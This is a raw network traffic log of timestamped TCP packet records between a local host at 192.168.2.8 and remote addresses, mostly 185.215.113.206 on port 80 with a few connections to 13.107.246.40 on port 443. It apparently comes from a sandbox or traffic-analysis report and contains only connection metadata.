Nov 25, 2024 03:39:54.372009993 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.372047901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.372782946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.372828960 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.372865915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.372975111 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.373655081 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.373703003 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.373769999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.373812914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.374536991 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.374618053 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.374650955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.374752045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.375408888 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.375453949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.375528097 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.375572920 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.376292944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.376347065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.376411915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.376449108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.377168894 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.377218008 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.377275944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.377312899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.378040075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.378108978 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.378139019 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.378175020 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.378931046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.378992081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.379029989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.379411936 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.379806042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.379920006 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.379980087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.380681992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.380738020 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.380774021 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.380814075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.381577015 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.381685972 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.381809950 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.382447004 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.382550955 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.382558107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.382654905 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.383339882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.383388996 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.383443117 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.383536100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.384176970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.384300947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.384360075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.385137081 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.385183096 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.385214090 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.385257006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.549931049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.549994946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.549995899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.550029993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.550333023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.550388098 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.550538063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.550656080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.550699949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.551440954 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.551508904 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.551526070 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.551563978 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.552294970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.552359104 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.552393913 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.552434921 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.553203106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.553251028 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.554085016 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.554097891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.554148912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.554164886 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.554200888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.554946899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.554995060 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.555057049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.555099964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.555826902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.555872917 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.555939913 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.556144953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.556695938 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.556742907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.556804895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.556879044 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.557578087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.557657003 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.557687044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.557728052 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.558455944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.558505058 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.558557987 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.558630943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.559336901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.559386015 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.559748888 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.559796095 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.560235023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.560365915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.560380936 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.560403109 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.561122894 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.561187983 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.561220884 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.561271906 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.561988115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.562033892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.562100887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.562136889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.562859058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.562922955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.562968016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.563751936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.563812017 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.563846111 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.563883066 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.564604044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.564671993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.564706087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.564743996 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.565495014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.565587997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.565601110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.565650940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.566360950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.566459894 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.566478968 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.566514015 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.567264080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.567310095 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.567347050 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.567388058 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.568131924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.568180084 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.568258047 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.568303108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.569017887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.569062948 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.569102049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.569142103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.569892883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.569941044 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.569973946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.570100069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.570785046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.570827961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.570899963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.570940971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.571645975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.571696043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.571743011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.571783066 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.572535038 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.572582006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.572645903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.572689056 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.573411942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.573458910 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.573514938 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.573570013 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.574279070 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.574371099 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.574390888 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.574430943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.575164080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.575218916 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.575273991 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.575359106 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.576040030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.576102018 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.576152086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.576293945 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.576931000 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.576970100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.577037096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.577080011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.577812910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.577874899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.577919960 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.578680992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.578730106 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.578804016 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.578869104 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.579561949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.579615116 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.579678059 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.579802036 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.580444098 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.580488920 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.580518007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.580554008 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.581319094 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.581376076 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.581444979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.581480980 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.582215071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.582276106 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.582312107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.582348108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.583082914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.583156109 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.583189011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.583226919 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.584001064 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.584054947 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.584089041 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.584121943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.584846020 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.584892035 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.584956884 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.585000992 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.585726976 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.585768938 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.585845947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.585884094 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.586592913 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.586716890 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.586719036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.586765051 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.587483883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.587532043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.587590933 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.587632895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.588363886 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.588418007 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.588485003 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.588521957 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.589247942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.589306116 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.589348078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.589387894 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.590126991 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.590187073 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.590271950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.590357065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.591031075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.591083050 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.591145039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.591183901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.591885090 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.591929913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.591960907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.591999054 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.592770100 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.592813969 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.592839003 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.592875004 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.593667984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.593777895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.593823910 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.594548941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.594608068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.594645023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.594677925 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.595386982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.595446110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.595477104 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.595609903 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.599708080 CET	443	49813	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.599730015 CET	443	49813	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.599796057 CET	49813	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.599819899 CET	443	49813	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.601924896 CET	49813	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.601969004 CET	443	49813	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.602103949 CET	443	49813	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.602164030 CET	49813	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.602180958 CET	49813	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.602587938 CET	49826	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.602618933 CET	443	49826	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.602842093 CET	49826	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.603267908 CET	49826	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.603282928 CET	443	49826	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.605902910 CET	443	49815	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.605926037 CET	443	49815	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.606024027 CET	49815	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.606043100 CET	443	49815	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.606132984 CET	443	49815	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.606240034 CET	49815	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.607448101 CET	49815	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.607469082 CET	443	49815	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.676970005 CET	443	49814	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.676995039 CET	443	49814	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.677088022 CET	49814	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.677120924 CET	443	49814	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.677421093 CET	443	49814	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.677504063 CET	49814	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.679111004 CET	49814	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.679131031 CET	443	49814	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.679141045 CET	49814	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.679207087 CET	49814	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.760499954 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.760540962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.760602951 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.760704994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.760785103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.760790110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.760823011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.761548042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.761584044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.761617899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.761639118 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.762429953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.762466908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.762489080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.762507915 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.763340950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.763372898 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.763422966 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.764209986 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.764262915 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.764312983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.764354944 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.765069008 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.765119076 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.765281916 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.765342951 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.765934944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.766026020 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.766052008 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.766182899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.766808987 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.766863108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.766942978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.766978979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.767720938 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.767770052 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.767819881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.767857075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.768567085 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.768620014 CET	49748	80	192.168.2.8	185.215.113.206
